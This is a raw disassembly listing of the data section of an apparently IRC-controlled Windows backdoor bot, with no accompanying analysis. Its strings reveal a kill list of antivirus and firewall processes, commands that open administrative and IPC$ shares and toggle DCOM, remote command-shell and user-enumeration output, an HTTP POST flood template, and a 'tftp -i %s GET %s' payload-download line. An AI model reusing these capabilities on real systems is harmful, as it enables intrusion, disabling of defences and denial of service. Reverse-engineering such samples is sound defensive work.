aDelete_0	db 'Delete',0           ; DATA XREF: .data:00443404o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_4433FCo
		align 10h
aAdd		db 'Add',0              ; DATA XREF: .data:off_4433F8o
; char aAnUnknownErr_0[]
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41B507+128o
		align 4
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_41B507:loc_41B61Bo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_41B507:loc_41B614o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_41B507:loc_41B60Do
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_41B507:loc_41B606o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_41B507:loc_41B5FFo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_41B507:loc_41B5F8o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_41B507:loc_41B5F1o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_41B507:loc_41B5EAo
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_41B507:loc_41B5E3o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_41B507:loc_41B5DCo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_41B507:loc_41B5B1o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_41B507:loc_41B5AAo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_41B507:loc_41B5A3o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_41B507:loc_41B59Co
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_41B507+8Bo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_41B507:loc_41B571o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_41B507:loc_41B567o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_41B507:loc_41B55Do
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_41B507:loc_41B553o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_41B507:loc_41B549o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_41B507+38o
		align 10h
; char aSSS_3[]
aSSS_3		db '%s: %s (%s)',0      ; DATA XREF: sub_41B681+EEo
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_41B681:loc_41B750o
aStarting	db '   Starting',0      ; DATA XREF: sub_41B681:loc_41B749o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41B681:loc_41B742o
aRunning	db '    Running',0      ; DATA XREF: sub_41B681:loc_41B73Bo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41B681:loc_41B734o
aPausing	db '    Pausing',0      ; DATA XREF: sub_41B681:loc_41B72Do
aPaused		db '     Paused',0      ; DATA XREF: sub_41B681:loc_41B726o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41B681+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41B681+25o
		align 4
; char asc_4382AC[]
asc_4382AC	db '-'                  ; DATA XREF: sub_41B98C+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 10h
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41B98C+36Ao
		align 4
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41B98C+33Fo
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41B98C+317o
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41B98C+2ECo
		align 10h
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41B98C+2C4o
		align 4
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41B98C+299o
		align 4
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41B98C+271o
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41B98C+246o
		align 4
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41B98C+21Eo
		align 10h
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41B98C+1F3o
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41B98C+1CBo
		align 4
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41B98C+1A0o
		align 4
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41B98C+178o
		align 10h
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41B98C+14Do
		align 10h
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41B98C+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41B98C:loc_41BAA5o
		align 4
aUser_3		db 'User',0             ; DATA XREF: sub_41B98C:loc_41BA9Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41B98C:loc_41BA97o
		align 4
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41B98C+D4o
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41B98C+ACo
		align 4
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41B98C+81o
		align 4
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41B98C+50o
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE73o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41BD5A:loc_41BE6Co
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE65o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BE5Eo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_41BD5A:loc_41BE57o
		align 8
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41BD5A:loc_41BE3Ao
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE33o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE2Co
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41BD5A+CBo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41BD5A:loc_41BE01o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDFAo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41BD5A:loc_41BDF3o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41BD5A:loc_41BDE9o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41BD5A+85o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDC3o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41BD5A:loc_41BDB9o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41BD5A:loc_41BDAFo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41BD5A:loc_41BDA5o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41BD5A:loc_41BD9Bo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41BD5A+37o
		align 4
; char asc_438718[]
asc_438718	db '-'                  ; DATA XREF: sub_41BE8A+A4o
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	34032073h, 76726553h, 3A037265h
		dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
; char asc_438744[]
asc_438744	db '-'                  ; DATA XREF: sub_41BE8A+7Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
; char asc_43876C[]
asc_43876C	db '-'                  ; DATA XREF: sub_41BF46+65o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438790	db  2Dh	; -		; DATA XREF: sub_41BF46+4Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_4387BC[]
asc_4387BC	db '-'                  ; DATA XREF: sub_41BF46+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
; char asc_4387D8[]
asc_4387D8	db '-'                  ; DATA XREF: sub_41BFBE+AAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
; char asc_4387FC[]
asc_4387FC	db '-'                  ; DATA XREF: sub_41BFBE+88o
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	68732073h, 3A657261h, 73252720h
		dd 27h
; char asc_438818[]
asc_438818	db '-'                  ; DATA XREF: sub_41BFBE+56o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41C07C+CEo
		align 4
aNo		db 'No',0               ; DATA XREF: sub_41C07C+BAo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_41C07C+B3o
; char asc_438864[]
asc_438864	db '-'                  ; DATA XREF: sub_41C07C+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_41C07C+1Do
		align 4
; char asc_4388C4[]
asc_4388C4	db '-'                  ; DATA XREF: sub_41C19B+B5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
; char asc_4388EC[]
asc_4388EC	db '-'                  ; DATA XREF: sub_41C19B+93o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_43891C[]
asc_43891C	db '-'                  ; DATA XREF: sub_41C19B+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41C265+144o
		align 4
; char asc_438954[]
asc_438954	db '-'                  ; DATA XREF: sub_41C265:loc_41C350o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
; char aS_5[]
aS_5		db '  %S',0             ; DATA XREF: sub_41C265+B8o
		align 4
; char asc_438988[]
asc_438988	db '-'                  ; DATA XREF: sub_41C265+78o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41C265+1Fo
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:004434B4o
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:004434B0o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:004434ACo
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:004434A8o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:004434A4o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:004434A0o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:0044349Co
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:00443498o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:00443494o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:00443490o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .data:0044348Co
aMsblast_exe	db 'MSBLAST.exe',0      ; DATA XREF: .data:00443488o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:00443484o
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00443480o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0044347Co
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00443478o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .data:00443474o
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .data:00443470o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .data:0044346Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .data:00443468o
		align 4
aMsblast_exe_0	db 'msblast.exe',0      ; DATA XREF: .data:00443464o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .data:00443460o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .data:0044345Co
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .data:off_443458o
; char aSD_0[]
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41C444+183o
		align 4
; char asc_438B28[]
asc_438B28	db '-'                  ; DATA XREF: sub_41C66C:loc_41C6ECo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_438B4C	db  2Dh	; -		; DATA XREF: sub_41C66C+79o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
; char asc_438B70[]
asc_438B70	db '-'                  ; DATA XREF: sub_41C66C+2Ao
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
; char aPrivmsgSS_1[]
aPrivmsgSS_1	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41C7F5+33o
unk_438BA0	db  2Dh	; -		; DATA XREF: sub_41C87C:loc_41C9ACo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_438BD0	db  2Dh	; -		; DATA XREF: sub_41C87C+129o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_438BF8	db  2Dh	; -		; DATA XREF: sub_41C87C+F7o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
; char asc_438C28[]
asc_438C28	db '-'                  ; DATA XREF: sub_41C9D4+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
; char dword_438C5C[]
dword_438C5C	dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
					; DATA XREF: sub_41C9D4+150o
		dd 6E616D6Dh, 72502064h, 74706D6Fh, 0
dword_438C80	dd 5C3A44h, 2444h, 5C3A43h, 2443h, 494D4441h, 244Eh
					; DATA XREF: .data:004434D4o
					; .data:004434D0o ...
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_4434B8o
		align 10h
; char asc_438CA0[]
asc_438CA0	db '-'                  ; DATA XREF: sub_41CB8D+2E3o
					; sub_41CEAF+2D5o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
; char asc_438CD0[]
asc_438CD0	db '-'                  ; DATA XREF: sub_41CB8D+2CDo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
; char asc_438CF8[]
asc_438CF8	db '-'                  ; DATA XREF: sub_41CB8D:loc_41CDF3o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_438D24	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CB8D+25Fo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
; char asc_438D48[]
asc_438D48	db '-'                  ; DATA XREF: sub_41CB8D:loc_41CD63o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_438D74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CB8D+1CFo
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
; char asc_438D98[]
asc_438D98	db '-'                  ; DATA XREF: sub_41CB8D:loc_41CCBBo
					; sub_41CEAF:loc_41CFD9o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_438DC8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CB8D:loc_41CCB4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
; char asc_438E04[]
asc_438E04	db '-'                  ; DATA XREF: sub_41CB8D:loc_41CC9Co
		db 3, 34h, 2
		dd 75636573h, 3026572h
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_438E38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CB8D+108o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41CB8D+E9o
					; sub_41CEAF+E9o
		align 4
; char asc_438E88[]
asc_438E88	db '-'                  ; DATA XREF: sub_41CB8D+8Do
					; sub_41CEAF+8Do
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
; char asc_438EB8[]
asc_438EB8	db '-'                  ; DATA XREF: sub_41CB8D:loc_41CBFCo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 64204D4Fh, 62617369h
		dd 2E64656Ch, 0
dword_438ED8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CB8D+68o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41CB8D+50o
					; sub_41CEAF+50o
		align 4
; char asc_438F08[]
asc_438F08	db '-'                  ; DATA XREF: sub_41CEAF+2BDo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesA	db '- Network shares added.',0
; char aC_0[]
aC_0		db '%c:\',0             ; DATA XREF: sub_41CEAF+227o
		align 4
; char aC_1[]
aC_1		db '%c$',0              ; DATA XREF: sub_41CEAF+216o
; char asc_438F38[]
asc_438F38	db '-'                  ; DATA XREF: sub_41CEAF:loc_41D058o
					; sub_41CEAF:loc_41D11Fo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_438F60	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CEAF+1A2o
					; sub_41CEAF+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_438F80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CEAF:loc_41CFD2o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
; char asc_438FBC[]
asc_438FBC	db '-'                  ; DATA XREF: sub_41CEAF:loc_41CFBAo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_438FF4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CEAF+104o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
; char asc_439034[]
asc_439034	db '-'                  ; DATA XREF: sub_41CEAF:loc_41CF1Eo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 65204D4Fh, 6C62616Eh
		dd 2E6465h
dword_439050	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41CEAF+68o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
flt_439074	dd 9.765625e-4		; DATA XREF: sub_41D235+1B9r
flt_439078	dd 8.0			; DATA XREF: sub_41D235+1B3r
flt_43907C	dd 0.0			; DATA XREF: sub_41D235+170r
flt_439080	dd 1.0e-3		; DATA XREF: sub_41D235:loc_41D39Cr
flt_439084	dd 4.2949673e9		; DATA XREF: sub_41D235+161r
					; sub_41D235+1AAr
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D235+D5o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char asc_4390C0[]
asc_4390C0	db '-'                  ; DATA XREF: sub_41D41B+1A7o
		db 3, 34h, 2
		dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
		dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
		dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
		dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
		dd 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41D41B+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41D41B+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41D41B+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41D41B+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41D41B+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41D41B+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41D41B+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41D41B+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41D41B+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41D41B+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41D41B+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41D41B+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41D41B+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41D41B+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41D41B+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41D41B+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41D41B+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41D41B+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41D41B+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41D41B+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41D41B+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41D41B+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41D41B+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41D41B+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41D41B+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41D41B+15o
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41D5F8+39o
; char asc_4392D8[]
asc_4392D8	db '-'                  ; DATA XREF: sub_41D779+24Co
		db 3, 34h, 2
		dd 69737973h, 26F666Eh,	2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41D779+161o
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41D779:loc_41D8ACo
		align 4
; char aSS_5[]
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_41D779+C0o
; char asc_4393E0[]
asc_4393E0	db '-'                  ; DATA XREF: sub_41D9E5+9Eo
		db 3, 34h, 2
		dd 6974656Eh, 26F666Eh,	2202D03h, 65707954h, 25203A02h
		dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
		dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
		dd 2Eh
; char off_439424[]
off_439424	dd offset loc_412F4C+2	; DATA XREF: sub_41D9E5:loc_41DA52o
off_439428	dd offset dword_4E414C	; DATA XREF: sub_41D9E5:loc_41DA4Bo
; char aDialUp[]
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_41D9E5+57o
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_41D9E5+41o
		align 4
; char asc_439444[]
asc_439444	db '-'                  ; DATA XREF: sub_41DAA1:loc_41DC4Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_439480	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41DAA1+1A7o
		dd 64657469h, 2Eh
unk_43949C	db  2Dh	; -		; DATA XREF: sub_41DAA1+191o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_4394CC	db  2Dh	; -		; DATA XREF: sub_41DAA1+162o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
; char asc_4394F8[]
asc_4394F8	db '-'                  ; DATA XREF: sub_41DAA1+BEo
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
		dd 2Eh
dword_439514	dd 2A2F2Ah		; DATA XREF: sub_41DAA1+3Do
dword_439518	dd 2 dup(0)		; DATA XREF: sub_41DCBE+16o
dword_439520	dd 2 dup(0)		; DATA XREF: sub_41DCBE+Co
					; .text:0041DE0Fo
aTftpISGetS	db 'tftp -i %s GET %s',0 ; DATA XREF: .text:0041DFB8o
		align 4
aC_2		db '%c',0               ; DATA XREF: .text:0041DF37o
		align 10h
dword_439540	dd 0DFFh		; DATA XREF: .text:0041DE24o
dword_439544	dd 0EBFFh		; DATA XREF: .text:0041DE19o
dword_439548	dd 201h			; DATA XREF: .text:0041DE04o
